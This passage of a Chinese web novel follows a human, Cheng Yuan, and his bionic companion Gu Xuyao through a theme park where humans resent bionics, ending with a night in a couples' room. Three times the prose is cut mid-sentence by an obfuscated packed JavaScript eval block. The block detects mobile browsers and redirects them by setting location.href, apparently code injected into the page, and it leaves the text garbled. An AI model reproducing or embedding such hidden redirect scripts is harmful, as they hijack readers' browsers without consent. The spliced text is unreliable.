与方才冰冷、充满束缚感的安检区截然不同,杂乱的声浪、绚烂的色彩和甜腻的气息扑面而来。 程鸢比在悬浮车上时更近距离地看到了缓缓转动的巨大摩天轮,上面缀满了流动的灯带,如同一个璀璨的光环。 远处的过山车轨道蜿蜒曲折,如同一条发光的巨龙盘踞在空中,上面传来阵阵尖叫与欢笑。 各式各样的游乐设施点缀在视野所及之处,童话城堡、自然森林、原始部落……区域风格鲜明,每个区域都十分精致,共同构成一个极尽奢华的梦幻国度。 “哇……” 程鸢的视线瞬间被点亮,不由自主地发出感叹,之前的不安与压抑被眼前绚丽的风景冲散了大半。 温伯走在二人的旁边,微笑着回应程鸢“这是什么?”、“那是什么?”的询问,并为程鸢简单介绍。 空气中弥漫着糖果的甜腻和烤肉的焦香,远处的道路上有很多奔跑的孩子和挽手漫步的成年人,每个人脸上都洋溢着幸福的笑容,程鸢觉得自己也被这样的氛围感染了。 只是他的目光,突然被一个细节吸引了。 有一个类似于雕塑的抽象模型,能看出是一个各种关节都有明显截断的“假人”,给一个更栩栩如生的人类小孩奉上冰淇淋,脸上是程式化的、讨好的笑容。 程鸢一边慢慢向前走,一边盯着模型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307876|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多看了两眼。 但很快,他就被一个新的东西吸引了注意。 他们走到某处时,旁边有墙壁,墙壁上画的并非是传统的童话故事,而是一群人类勇士手持光剑,英勇地击败扭曲金属构成的怪物的画面。 除此之外,在纪念品商店的橱窗里,还陈列着Q版的、被锁链捆绑或带着项圈的金属玩偶,作为战利品出售…… 好像哪里不太对劲……? 程鸢收敛了激动的心情,开始留意周围的环境。 他发现,当自己和顾栩尧靠近一些人时,那些人就会迅速噤声,然后掩着嘴凑在一起议论什么。 他们视线的方向,是自己身旁的顾栩尧。 好奇与审视的目光如同无形的蛛网,从四面八方粘过来。 而且,他们似乎并不怕议论声被听到,认真听就能听清对话内容。 “看,那边有个仿生人……” “嘘,小点声,别惹麻烦。” “怕什么,这不是在方舟乐园吗,他还能翻天?” “说起来他进了乐园,说不定是愿意臣服于人类的仿生人。” “呵呵,自愿?谁信那种鬼话,就像下城区的那个交易所,对外也说那些人类是自愿被售卖给仿生人的……” 程鸢的脚步越来越慢,直至彻底停在原地,不断有嘈杂的人声灌进程鸢的耳朵。 “唉,还好上城区比较和谐,只是苦了流落到下城区的人类……” “别傻了,上城区和谐也只是因为打架打累了,才提出什么‘共处’的狗屁口号。人类和仿生人是不可能共生的!” “我觉得未必,有些仿生人比人类更有人性……” “喂!你是哪边的。来方舟乐园的人类,至少默认和仿生人不共戴天吧!仿生人就不该继续存在在这个世界上!乐园的主人安先生不就这么说的吗?!” “我只是想来玩,谁像你会想那么多。而且,照你这么说的话,那位真正管事的陈小姐好像不这么想!” 他们激烈地争吵了起来,程鸢皱起眉,不解地看着眼前的一切。 他下意识地靠近了顾栩尧。 “顾先生……”程鸢压低了声音喃喃开口,“小高和小艾不是说,在上城区人类和仿生人是和谐共处的吗?为什么……这里这么奇怪……?” 顾栩尧:“共处只是主流观念,也算停战协定。看上去这个乐园聚集着厌恶仿生人的人类,但他们并未对仿生人造成什么实质性的伤害,所以这个乐园可以继续在上城区存在。” 不断有路过的人加入争吵,双方各执一词,互不相让。 而他们对顾栩尧既厌恶又恐惧的态度,让程鸢感到茫然。 心里像是被堵住了,闷得发慌。 他看了一眼顾栩尧。 顾栩尧似乎没有什么特别的情绪,像一个没有感情机器那样,置身事外,仿佛这些纷争都与他无关。 程鸢的脸颊在发烫,一种混合着各种情绪的气团在他胸腔里翻涌。 顾栩尧注意到了程鸢有点不对劲,他蹲下来,看着程鸢。 程鸢则微微垂眸,目光失去了焦点,有些茫然地将视线落在顾栩尧身上。 “顾先生,人类和仿生人……” 程鸢也不知道自己想说什么,他有一些疑问,但他说不清那是什么。 18. 方舟乐园(六) “程鸢。”顾栩尧轻轻喊了程鸢的名字,声音低沉而沙哑,“你要记得,我是完全可以信任的,哪怕我不是人类。” 程鸢默了良久,慢吞吞地点了点头,随即又别扭地说:“我不是在怀疑你啦,我只是……” 他也说不清,到底是哪里不对劲。 他见证了人类对仿生人的畏惧,甚至是厌恶,但好像不是因为别的,仅仅因为他们是仿生人? 或许是因为程鸢在离开交易所后,见到的每一个仿生人都很好很善良。 科学院忙碌的那些研究员,洛伊院长,小高小艾,还有……顾栩尧,他们都有自主意识,有情绪,有感情,会爱会恨,有喜欢的东西也有讨厌的东西。 在程鸢看来,他们已经和自己没什么区别了,都是活生生的个体,是值得被尊重的。 况且……难道人类就都是好的吗? 把自己从垃圾场里捡回去又卖给交易所的是人类,在交易所时负责照顾商品起居的工作人员也是人类。 他们是人类,但他们不是好人。 程鸢做不到仅仅因为是仿生人或者是人类就判断他是不是好的。 他也受不了那些人看向顾栩尧时,像看怪物一样的眼神。 顾先生,明明是个很好的人…… 他皱着眉,垂下头思索了良久,终于理出了思路,声音轻柔地说:“我只是,有讨厌的仿生人,比如交易所的那些,也有喜欢的,比如洛伊院长、小高、小艾,还有……” 程鸢看了一眼顾栩尧,有些迟缓地补充,“还有你……人类对我来说也是一样的啊,我有喜欢的人类,也有讨厌的人类。为什么、要把人类和仿生人分得那么清楚呢?我觉得只有好人和坏人之分……” 顾栩尧一愣,神情柔了下来,将程鸢的手握的更紧了,轻声说:“所以我对你来说,是好人吗?” 程鸢点点头,说:“如果仿生人和人类真的无法和平相处,那我怎么可能和你一起住了那么久呢?你也很照顾我……可能还有我没了解过的、过去发生的事,可我觉得,做了好事就是好人,做了坏事就是坏人,这很简单啊,为什么一定要站在某一边呢?” 程鸢说完,顾栩尧一直没有回应。 程鸢忽然变得忐忑,会不会是自己讲的话太傻了? 他看向顾栩尧,有些心虚地小声问:“……我没有说错话吧。” “没有。” 顾栩尧认真地看着程鸢。 他的眼中只有程鸢,他完全认同程鸢的话。 “你说的对。” 程鸢得到肯定,慢慢绽开了笑容,眼睛亮晶晶地看着顾栩尧,笑着说:“我也觉得我说得很对呢。” 至少,有顾先生认同自己的观点。 程鸢的心情没有那么沉重了。 …… 在去找陈初璃的路上,程鸢想起了什么,问过顾栩尧,不是说过不喜欢人类吗,为什么刚刚那些人冒犯他的时候,他没有生气。 顾栩尧平静地回答,在那里生气会节外生枝,有可能会影响到要做的事。 程鸢还没来得及问到底是什么事这么重要,在前面领路的温伯就停下了脚步,恭敬道:“二位,快到了。” 程鸢抬头看,看到了和游乐园中的其他建筑相比更为普通的院子,看上去是用来长期居住的。 起初,程鸢还不清楚温伯的那句“请跟好我”是什么意思,但当他走进去,才发现里面别有洞天。 进去后,他们先是被院子里的萧墙遮住了视线,而绕过这面萧墙,才是探索的开始。 这里装修风格十分古老,起初程鸢还感到新奇,不停地东张西望,但他们跟着温伯弯弯绕绕走了许久,期间穿过了无数道门,进入了无数个看上去一模一样的院落,程鸢逐渐变得头晕眼花时,终于见到了安逸。 彼时安逸正眉头紧皱,焦躁地围着院中的石桌转圈。 “安逸!”程鸢有事想问他,走了过去。 安逸看到他后,立刻迎上来,急切地说:“你们可算来了。” 顾栩尧不声不响地在旁边控制着二人的距离,防止安逸扑到程鸢身上。 程鸢则困惑道:“你不是早就走了吗?为什么……” “别提了!阿璃不愿意见我,肯定是生气了。”安逸瞪了一眼顾栩尧,“都怪这个该死的仿生人……” 程鸢注意到顾栩尧默默捏紧了拳头,立刻按下了顾栩尧的手,对安逸说,“我有事想问你来着。” 他指了指顾栩尧,“那个指令,是你的意思吗?” “对啊。”提到这个,安逸似乎有些得意,“这是方舟乐园的特别服务,别的地方都没有。” 程鸢:“为什么要这么做?不会太过分吗?” 安逸不以为意道:“过分?我还觉得这样不够呢。仿生人没有一个是好东西!你看看外面的世界,都乱成什么样子了?尤其是下城区!如果……”安逸顿了顿,“如果我父亲还在的话,一定不会让这些仿生人胡作非为的……” 程鸢:“安逸,虽然我就是从下城区出来的,但我觉得仿生人可能不全是你说的那样……” 安逸满脸不可置信,“你既然是从下城区出来的,就更清楚仿生人的真面目!你还帮仿生人说话,疯了吧!仿生人被人类创造出来,就该为人类所用!” 程鸢咬了咬嘴唇。 ……他觉得……不是这样的。 顾栩尧默默将被程鸢按下的手抽出,用手掌包住程鸢的手,轻轻捏了捏。 程鸢得到了安抚,心静了下来,还想再说点什么,温伯从里面出来了。 “二位,陈小姐请你们进去。” 安逸急道:“我呢?我呢?” 温伯:“小姐的意思是让你先回去好好反思……” “啊?”安逸走过去挽住了温伯的手臂:“温伯,就让我进去吧,我至少要先道歉才能安心啊。” 安逸一直缠着温伯不放,温伯只好很为难地答应带他进去。 程鸢觉得奇怪。 不是说安逸才是乐园的主人吗?为什么看上去陈小姐的更重要一点……? 他按下心中的疑惑,跟着温伯进入屋内,上了二楼。 温伯带着他们停在一个房间前。还在门口,程鸢就闻到了一种柔和清冽的冷香,香气淡淡地充盈在空气里,而源头就是面前的房间。 温伯将门打开后,退到一边去了,安逸像是很心虚,藏在了后面,所以顾栩尧先了走进去。 程鸢跟着顾栩尧进去后,绕过顾栩尧的身体,看到了一位十分年轻的女孩。 她穿着一身素白的衣服,面容精致温婉,看向来人的眼神丝毫不见怯意,像一潭无波的水,恬静温柔。 她优雅地站起身,对顾栩尧和程鸢说:“二位,我不便出去,只好请你们进来,多有怠慢,请谅解。” 他们在陈初璃的示意下坐在桌边后,安逸垂着头慢慢凑到了前面。 陈初璃:“不是让你先回去吗?” 安逸:“阿璃,我真的知道错了……” 陈初璃:“你知不知道你闯了多大的祸,我说了很多次不可以在乐园外启用战傀,可是你没有听。” “是……但这次是因为,我们……”安逸看了一眼坐在旁边看热闹的程鸢,“是因为我们之间有误会,我不是故意为难他们的,现在我们已经把话说开了,他们也原谅我了。”他边说边拼命给程鸢使眼色。 程鸢还没反应过来,陈初璃就轻叹一声:“你不用拉着他作证,只要看到他们二人中有仿生人,我就大概能猜到事情的来龙去脉了。可你也要明白,我是为了让这个乐园能够继续在上城区存在下去,才不想让你在乐园外使用战傀。” 安逸示弱道:“我知道,我真的不会再犯了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程鸢犹豫了一番,说:“那,陈小姐,进乐园之前温伯让我给顾先生……就是我的仿生人,输入了一条指令,还有办法删除吗?” 陈初璃摇头道:“很抱歉,那种指令是植入在仿生人的核心处理器上的,没有办法删除。” 顾栩尧对陈初璃说:“陈小姐喊我们来,似乎还有别的目的。” “是的,我听说来了仿生人,很想见一见。”她平静无波地看着顾栩尧,说,“相信你们也知道了安逸对仿生人的态度,但唯独这一点我不能与他达成共识。我始终觉得,仿生人既然有了情感与意识,就有善恶之分,不能一概而论。” 安逸小声反对道:“阿璃,你之前没见过仿生人,你不明白他们的觉醒对人类来说意味着什么。” 陈初璃:“我明白你的意思,所以选择尊重你在乐园内的一些布置。但就算你和父亲都对仿生人厌恶至极,我也有我的坚持。” 安逸:“可周瑾就是被仿生人害死的!” 提起周瑾,陈初璃眼中又泛起了几分哀伤,但她缓缓摇了摇头,柔声说:“没人知道当年究竟发生了什么,他未必真的死于仿生人之手……如果可以,我也想找出他离世的真正原因。” 安逸:“你……” 安逸傻站着说不出反驳的话时,顾栩尧冷不丁地开口:“陈小姐,你的养父是陈守渊吗?” 陈初璃点了点头,“是的。你们是为父亲而来的吗?” 顾栩尧点点头:“我旁边这个人类生病了,想请你父亲帮忙医治。” 程鸢愣住了。 这是他第一次得知来方舟乐园的目的。 竟然是为了自己吗? “程先生吗?”陈初璃笑着说:“周瑾的孩子如果还活着的话……应该和程鸢差不多大。或许也是缘分。” 19. 方舟乐园(七) 顾栩尧:“那么请你帮忙转达我们的请求。” 陈初璃:“恐怕你们是白跑一趟了。” 顾栩尧皱眉:“为什么?” 陈初璃:“父亲他不会见你们的,而且……他在很远的地方。” “陈叔他不就在……” 安逸说了一半忽然意识到自己说错了话,讪讪地闭上了嘴。 顾栩尧察觉到了不对劲的地方,看着陈初璃说:“总要试一试。” 陈初璃缓缓摇了摇头:“我没办法帮你们。但你们可以继续留在乐园里,我会履行承诺,好好招待你们。” 安逸:“就算要把他们留下来,也不能让那个仿生人到处乱跑吧,不然他伤害乐园里的人类该怎么办?” 陈初璃轻轻摇了摇头,“这位顾先生愿意为了程鸢的病四处奔波,我相信他不会无缘无故伤害人类。” 陈初璃态度坚决,安逸见劝不动她,不甘心地看了一眼程鸢和顾栩尧,又想到了什么,说:“那我要负责招待他们。” 陈初璃了解他,说:“这件事全权交给温伯,你不要插手。” 安逸有些急了,“不行,温伯哪知道怎么能招待好他们!那个仿生人是会上床的关系……我知道该怎么招待他们,还是我来比较合适。” 程鸢听得一清二楚。 什么?是什么关系?! 他自己怎么都不知道? 一抹红晕从程鸢的脖颈处迅速爬升,染红了耳尖,在脸颊上蔓延开来,他轻轻地倒吸了一口气,慌慌张张地摆手解释:“不不不,不是他说的那样。” 安逸:“程鸢,你不用不好意思,这是很正常的事,我们能理解的!不过你成年了吗?看着不太像……” 程鸢依旧双颊通红,眼睛被水雾蒙得发亮,“我早就成年了……但这不是重点!重点是我和顾先生真的没有……” 他下意识地回头看顾栩尧,想寻求支持。 顾栩尧一本正经道:“对。” 到底在对什么啊。 程鸢急得双手比划着解释:“他的意思是我们确实没有……” 陈初璃被逗地轻笑一声,随即含着笑意说:“你们不用解释,安逸恐怕是误会了,我能看出来,你们不是那种关系。” 程鸢停下了手舞足蹈的动作,耳尖的红晕还未消散。 陈初璃笑吟吟地说:“我有更适合招待你们的想法,只可惜我不方便出去,不能亲自陪你们。” 这好像是陈初璃第二次说这样的话了。 这间屋子虽然华丽宽敞,但如果一直不能出去的话,也会无聊吧。 程鸢问:“你生病了吗?” 陈初璃没有立刻答复,她脸上流露出落寞的神情,沉默了片刻才说,“我有比走出这里更重视的东西,所以,或许我是自愿留下来的。” 程鸢懵懵懂懂地点了点头。 陈初璃:“二位请自便吧,有任何疑问或者要求,都可以找温伯。” * 从屋子里出来,院中有些幽暗的灯光照在程鸢身上时,他的脑袋依旧有些发蒙。 那位陈小姐似乎对仿生人很感兴趣。 就算安逸和她的养父都厌恶仿生人,以及,恩人是被仿生人害死的。 总觉得有点违和…… 还有一个问题,一直萦绕在程鸢心头。 他问送他们出来的温伯:“温伯,你不是说过,安逸才是乐园的主人吗?为什么他……” 程鸢在找合适的措辞,温伯已经明白了他的意思,答道:“之前少爷也很不服陈小姐,但少爷的父亲去世后,是陈小姐的父亲将乐园救了回来,现在则是陈小姐在运营乐园。这座乐园对少爷意义重大,所以他很感激陈小姐。” 程鸢若有所思。 …… 这处院落在乐园中十分偏僻的位置,只能远远看到各种绚丽灯光,听不到一点声音。 程鸢盯着缓缓转动的摩天轮,心中又生出了向往。 但是,没找到要找的人,他们不会现在就要回去了吧。 程鸢有些纠结地看了顾栩尧一眼,犹豫着问:“呃,今天已经很晚了,我们要不要在这儿留一晚……” 温伯这时候说:“陈小姐说,非常希望二位留下,但若是想离开,她也不会强求。” 顾栩尧盯着程鸢看了一会儿。 ……如果现在离开,程鸢的病该怎么办。 “留下吧。” 好耶! 程鸢赶紧点了点头,在心里偷偷放烟花庆祝。 温伯恭敬道:“很高兴你们做出这个决定。陈小姐已经安排好了二位接下来的行程,请跟我来。” 折腾了这么久,程鸢后知后觉地感到饿,他低头看了一眼肚子,在为它到现在都没有响而感到争气。 希望陈小姐准备了很丰盛的菜肴。 * 他们跟着温伯去吃饭的地方,最开始程鸢还很兴奋,拽着顾栩尧兴冲冲地往前走,不断东张西望。 但渐渐的,他觉得好像有哪里不太对劲…… ……按道理说,这个时间乐园里应该人很多。 但他们一路上都没见到其他人。 程鸢暗自思考,猜想或许是温伯怕他们像刚进入乐园时那样被乐园里的游客为难,所以特意选择的路线。 他转过头看顾栩尧。 顾栩尧面无表情,似乎并没有觉得哪里不对。 仿生人对危险的觉察能力应该比自己强得多吧,那应该是没有什么事。 程鸢放下心来,但还是往顾栩尧那边挪了挪。 如果他看向顾栩尧,就会发现他的心情很好…… 又走了一会儿,终于有了其他“人”的影子。 不过是两个服务型的机器人,它们打扮得花里花哨的,脖颈和手腕处系了粉红色的蝴蝶结,向二人走来。 虽然看上去完全没有威胁,但程鸢摸不清它们要做什么,不着痕迹地后退半步,警惕地看着它们。 “不用紧张。”温伯在一旁笑着解释道,“这只是乐园里娱乐性质的服务,不会造成伤害。” 程鸢将信将疑地放松了点。 那个机器人脸部的显示屏上的“眼睛”弯了起来,看上去笑眯眯的。 他走上前来,给程鸢和顾栩尧送了一对很精致的心形戒指,并且指导他们分别戴在左手和右手上。 随后,两个机器人做了示范,示意他们将带着戒指的手牵在一起。 牵手吗? 程鸢有点呆。 虽然之前也总和顾栩尧牵手,但现在,总觉得有点难为情…… 顾栩尧倒是很坦然,他像机器人示范的那样,主动握住了程鸢的手。 在他们交握的手中间,源源不断地冒出了粉红色的爱心特效,而两个机器人的“眼睛”也应景地变成了心形。 不得不说,戒指和特效都挺好看的。 程鸢放松下来,眼睛亮晶晶地看着眼前的一切。 随后,温伯又将他们带到了一条整体色调都是粉红色的小路上。 这条路上满是浪漫地全息影像,鲜花、气球、可爱的小动物。 程鸢的脸被照得红扑扑的,他新奇又迷茫地看着这一切,沉浸在这种氛围中,和顾栩尧慢慢地向前走。 “好漂亮……” 程鸢看着路旁的风景,而顾栩尧转过头看程鸢。 在顾栩尧的眼中,程鸢眼睛亮晶晶的,好奇地打量着四周,脸颊和眼睛被灯光映地粉红,有种别样的美好。 “顾栩尧,这里好好看啊。”程鸢笑吟吟的,他试着用指尖触碰飘落的花瓣,但那到底不是实体,在他的指尖变成了模糊的光影,“啊,居然真的是假的。” “你很喜欢花吗?” “喜欢啊,花很漂亮,在交易所的时候都没怎么见过……” 顾栩尧的脸色沉了下来。 在交易所……程鸢吃了很多苦…… 程鸢注意到顾栩尧情绪的变化,“干嘛不开心。” “……我没有。” “还说没有,你的眉毛都拧起来了。”程鸢用两根食指抵住自己的眉尾,做了个鬼脸,模仿顾栩尧的样子,打趣道,“你现在就这样,奇了怪了,机器人也会不开心啊。” “程鸢……”顾栩尧的声音闷闷的,“如果我能早点找到你就好了,我会看好你,你就不用吃那么多苦……” 顾栩尧……是在因为自己的过去而感到心疼吗? “傻瓜。”他的心里暖洋洋的,忽然有些想哭……但因为这种事情哭也太奇怪了,他尽可能扬起嘴角,露出一个灿烂的笑容,说:“你现在看好我就可以了啊。而且,你发现没有,你一直在看着我欸,都没有好好看风景了。” 顾栩尧一愣。 他皱眉注视着程鸢。 自己在越来越久地看着程鸢吗? 但是……为什么? “还在看?”程鸢笑吟吟地问,“我有那么好看吗?” 顾栩尧没有立刻回答,而是郑重地点了点头,说:“好看。” 程鸢的耳尖瞬间红了,支支吾吾地说:“算你会说话。”然后慌慌张张地跑开了。 顾栩尧凝视着程鸢的身影。 他发现,程鸢来到自己身边后,自己多了很多情绪。 开心的,惊喜的,忧虑的,烦恼的…… 原本平淡无味的人生,突然多了很多色彩。 他只是……很喜欢看着程鸢,就像现在一样。 他的心像是被偷偷拉开了一个小缝隙,奇妙的暖流在源源不断地涌进。 这条小路已经在不知不觉中走完了。 程鸢红着脸回头,发现顾栩尧依旧看着自己,眼中满是温柔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307878|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 又穿过了一座桥,进入一片花海。 系着蝴蝶结的机器人从旁边走出来,给他们送漂亮精致的捧花,举着相机不停地拍照。 顾栩尧总是走神,看上去呆呆的,程鸢发现他状态不对,问他是不是不舒服,但顾栩尧说没事。 程鸢觉得,顾栩尧好像有点怪怪的。 从那条小路出来之后,就总是盯着自己发呆。 而且,刚刚还意外坦率地夸了自己好看,这好像不是他的说话风格吧。 ……仿生人也会生病吗? 他偷偷打量顾栩尧,观察他到底有没有生病……除了变得更呆了,好像也确实没什么不对劲的地方。 程鸢收回眼神,继续在花海中前行。 ……还有一点让他有点迷茫。 就是,虽然这一切都很梦幻,但,这难道就是陈小姐口中更适合他们的招待方式吗? 他问了温伯。 果然,这些都是陈小姐的安排。 温伯笑眯眯地说,陈小姐希望他和顾栩尧能喜欢。 好吧,程鸢确实很喜欢这些漂亮的布置,他决定放松一点,好好享受这一切。 但等到达餐厅后,他的刚刚放在肚子里的心又被提到了嗓子眼。 ……餐厅门口大剌剌地摆了一个粉红色的牌子,牌子上明晃晃地写着几个大字。 情侣特供餐厅。 “呃……”程鸢喃喃道,“陈小姐还是误会了吧……” “什么?” 顾栩尧看着那块牌子发怔,没听清程鸢说什么。 程鸢抓住顾栩尧的手臂,说:“反正见不到陈小姐的养父了,要不我们现在就回家吧。” “不行。留在这里就还有希望,不能就这么放弃。” ……程鸢也知道自己的请求有些莫名其妙,他咬了咬嘴唇,不甘心地小声说:“那,你去和温伯说,我们不在这里吃饭。” “为什么?” 程鸢暗戳戳指了指那块醒目的牌子,说:“这里是情侣餐厅啊。” 顾栩尧依旧不明白,“那又怎么了。” “我们不是情侣!” 顾栩尧的眉头微不可查地皱了起来,一本正经地反对道:“只是吃饭而已,我不认为不同的关系会成为选择吃饭地点的标准。” “……” 程鸢语塞,这个机器人对某些事情总有自己的理解方式,他故作凶狠地说,“在乐园里我是你的主人,你要听我的。” 效果可想而知,完全没有威慑力,反而像一只炸毛的了小猫在撒娇。 “你的‘主人’身份并不真实,不具有效力,而你的请求也毫无逻辑,我有理由驳回。” “……算了,我自己去和温伯说。” 而程鸢在温伯那里得到的回复是,其他餐厅已经满了,并且这是陈小姐的一番心意,希望程鸢接受。 处处碰壁后,程鸢最终垂着脑袋,跟在顾栩尧身后,走进了餐厅。 …… 程鸢尽可能无视粉红的灯光、暧昧的音乐,还有叫情意绵绵的芝士意面,和叫四季缠绵的菌类拼盘。 而且,为什么这么大的一个包厢里,只有他和顾栩尧两个人啊?! 程鸢有些不自在,全程没敢看坐在对面的顾栩尧。 ……算了,抛开奇怪的氛围不提,其实饭菜味道特别好。 程鸢从来没吃过这么好吃的食物。 他吃到肚皮微鼓,边擦嘴边想,如果顾栩尧能和这里的厨师学习一下就好了,那自己回家之后也有口福了。 这么想着,他偷偷看了一眼顾栩尧。 ……他也太淡定了,面无表情地检测饭菜的成分,然后把检测过的菜推到程鸢面前。 这种时候,顾栩尧就很有程鸢刻板印象里仿生人该有的样子。 迟钝、单纯,像是屏蔽了一切和情感有关的敏感因素。 这个仿生人真的知道什么是“情侣”吗? 程鸢觉得,就算有人向顾栩尧递情书,他也只是会检测纸张的成分是否有害。 ……其实,对于陈初璃的安排,程鸢与其说是抗拒,不如说是意料之外。 不知道陈小姐怎么想的。 人类和仿生人怎么可能成为情侣? 更别提眼前这个冷冰冰的机器了…… 他抬起的水杯,又抬起眼睛,偷瞄了一眼正在进食的顾栩尧。 这好像是程鸢第一次和他一起吃饭,在家的时候,他总是举着数据板,边看自己吃边记录着什么。 他吃饭也没什么特别的,和自己一样,正常地咀嚼,正常地咽下。 但程鸢看得很认真。 不管多少次,他都想感叹仿生人和人类也太像了…… 不管怎么说,这算是一次和谐的共进晚餐吧。 程鸢想。 20. 方舟乐园(八) 到了睡觉时间,温伯跟他们说“只剩一间房”的时候,程鸢居然没有很意外。 毕竟连餐厅都能订满的话,睡觉的地方也不会有空余吧。 另外……虽然他对和顾栩尧同床共枕还是有一点心理阴影,但是出门在外,他确实不敢自己睡…… 所以跟顾栩尧走进同一个房间,几乎成了必然的事。 …… 其实这个房间的布置有点奇怪。 房间最显眼的地方摆着一张巨大的床,床的周围以及正上方都布置了镜子,浴缸周围完全没有任何遮挡。 某一面墙上的柜子里整齐陈列了各种用途不明的道具,灯光昏暗且暧昧,令餐桌和落地窗外的泳池好像都有了别的用途。 但,这里没有挂“情侣房间”的牌子。 所以程鸢完全没有警觉,觉得一切都十分正常、普通。 他很自然地走进去,一屁股坐在了沙发上。 顾栩尧似乎有点紧绷,他在房间里慢慢地踱步,仔细看着房间里的每一处陈设,越看眉头锁得越紧。 他表现得有点反常。 ……是这里有什么危险吗? 程鸢也紧张起来:“怎么了?” 顾栩尧指了指挂在房间里的秋千,问:“你对这个有什么想法?” 程鸢看了一眼,说:“嗯……周围空间有点小,荡不了多高吧,但是看着挺结实的。” 顾栩尧又指了指那个明晃晃放着各种道具的柜子,问:“那你知道那些是什么吗?” “大概吧。”程鸢歪了歪头说,“你很感兴趣吗,我可以给你试试。” 顾栩尧诧异:“你说什么?” “这些不是用来按摩放松的吗?” 顾栩尧目光沉沉地看着程鸢。 程鸢被盯得心里发毛,弱弱地问:“怎、怎么了吗?我说错了?这些难道是什么武器吗?” 难道是用来上刑的?? “……” 顾栩尧突然轻笑出声。 ……笑什么。 程鸢鼓起了脸,不满地看着顾栩尧。 “不用试了,这些东西很危险,如果以后有人要用在你身上的话,你记得要远离那个人。” “哦……”程鸢愣了愣,立刻解释道,“但我刚刚没别的意思,我都不知道这是什么东西……” “我知道。” 不知道为什么,虽然顾栩尧笑吟吟的…… “你在嘲笑我吗?”程鸢不服输地说,“我只是不知道那些是什么东西而已,有什么可笑的,你教我一下不就行了?” 顾栩尧愣了一瞬,说:“现在……还是别了,等之后吧……” “等多久?”程鸢自顾自地向那个柜子走去,“算了我自己试试……” “不行。”顾栩尧立刻制止道,“你别碰,碰了手会烂掉的。” 程鸢呆住了,“这么危险吗……?!” 顾栩尧一本正经地点点头,“其实我也没用过,等以后我研究明白了,再教你。” 程鸢将信将疑地点了点头。 不知道陈初璃安排的房间里为什么会有这么危险的东西…… 算了,既然顾栩尧都这么说了,那自己看看别的地方吧。 程鸢学着顾栩尧的样子,在房间里转了两圈,很快就发现了更加致命的缺点。 ……那个浴缸也太透明了吧! 周围完全没有遮挡,在里面洗澡的人不是会被看得一清二楚吗? 程鸢一直在纠结这件事,在洗澡之前,终于想出了合理的方法。 他直接把顾栩尧赶出了阳台。 顾栩尧:“反正之前给你换衣服的时候,该看的地方都看过了,除了……” “喂!”程鸢恼羞成怒地喊,“不许说了。” “其实《饲养指南》里也说我得帮你洗澡,我已经提了很多遍了,你到底什么时候答应?” “反正不是现在。你老老实实在外边呆着,等我洗完了才能进来。” 顾栩尧笑了笑,没有答话。 程鸢反复确认顾栩尧什么都看不到后,才开始遮遮掩掩地脱衣服。 ……顾栩尧也太吓人了,居然说要帮自己洗澡…… 不可能,这辈子都不可能。 就算他不是人类,看上去也是个成年男性,给自己洗澡……自己还要不要面子? 程鸢边洗边盯着他的身影,以防他突然转过来。 好在顾栩尧没有乱来,乖乖呆在外边,背对着程鸢。 就这样胆战心惊地洗完,到顾栩尧了。 他说:“你可以不出去,我不介意你看着。” 程鸢瞪了顾栩尧一眼,说:“你这种没有戒心的仿生人,以后一定会吃亏的!”然后大踏步走了出去,狠狠带上了门,全程没有再向顾栩尧那边看一眼。 不明白程鸢为什么生气的顾栩尧:“?” 到了睡觉时间,程鸢提议自己去沙发睡,一秒就被顾栩尧否决掉了。 程鸢仰头看看这个高出自己很多的仿生人,敢怒不敢言地抱紧怀里陪伴自己逃跑的枕头,愤愤地挪回床上。 程鸢暗自下定决心,如果顾栩尧还是这么没有戒心的话,自己一定要教教他了。 毕竟,在交易所的时候,为了让人类可以更好地取悦仿生人,自己系统地学习了性方面的知识。 就算大多都被程鸢当耳旁风了,几乎什么都没学会,但自己肯定比这个呆瓜仿生人有经验。 至于该怎么教他,自己还要想一想,嗯。 ……说起来,这是他第二次和顾栩尧同床而眠。 虽然还是不自在,但好像不会像第一次那样紧张到发懵了。 程鸢仰躺着,看到了天花板上镜子里自己的身影,总觉得有点诡异,于是翻了个身,转向了顾栩尧。 在特别昏暗的光线下,程鸢注意到顾栩尧的腹部在规律地起伏。 他在呼吸。 不管多少次,程鸢还是会为仿生人太像人类感到惊讶。 在很多方面,他们简直与人类没有区别。 ……反正睡不着,不如聊聊天吧。 “你也没睡着吧。” 顾栩尧很快就回应:“嗯。” 程鸢顿了顿,找了个话题,说:“你……真的很像人类,不管是身体,还是思想,都很像,我一直在好奇到底是怎么做到的。你们真的有情感吗?” “如果你说的是大脑对内外刺激产生的复杂生理心理反应网络,那么是有的。” 听完这一串专业术语,程鸢愣了愣,说:“不是那些复杂的事,就是,嗯……” 程鸢沉吟一阵,决定换个说法,“你有没有喜欢过谁?” 顾栩尧没有回答,而是提出了另外一个疑问:“喜欢一个人会怎么样?” “会……想要一直和对方在一起?” 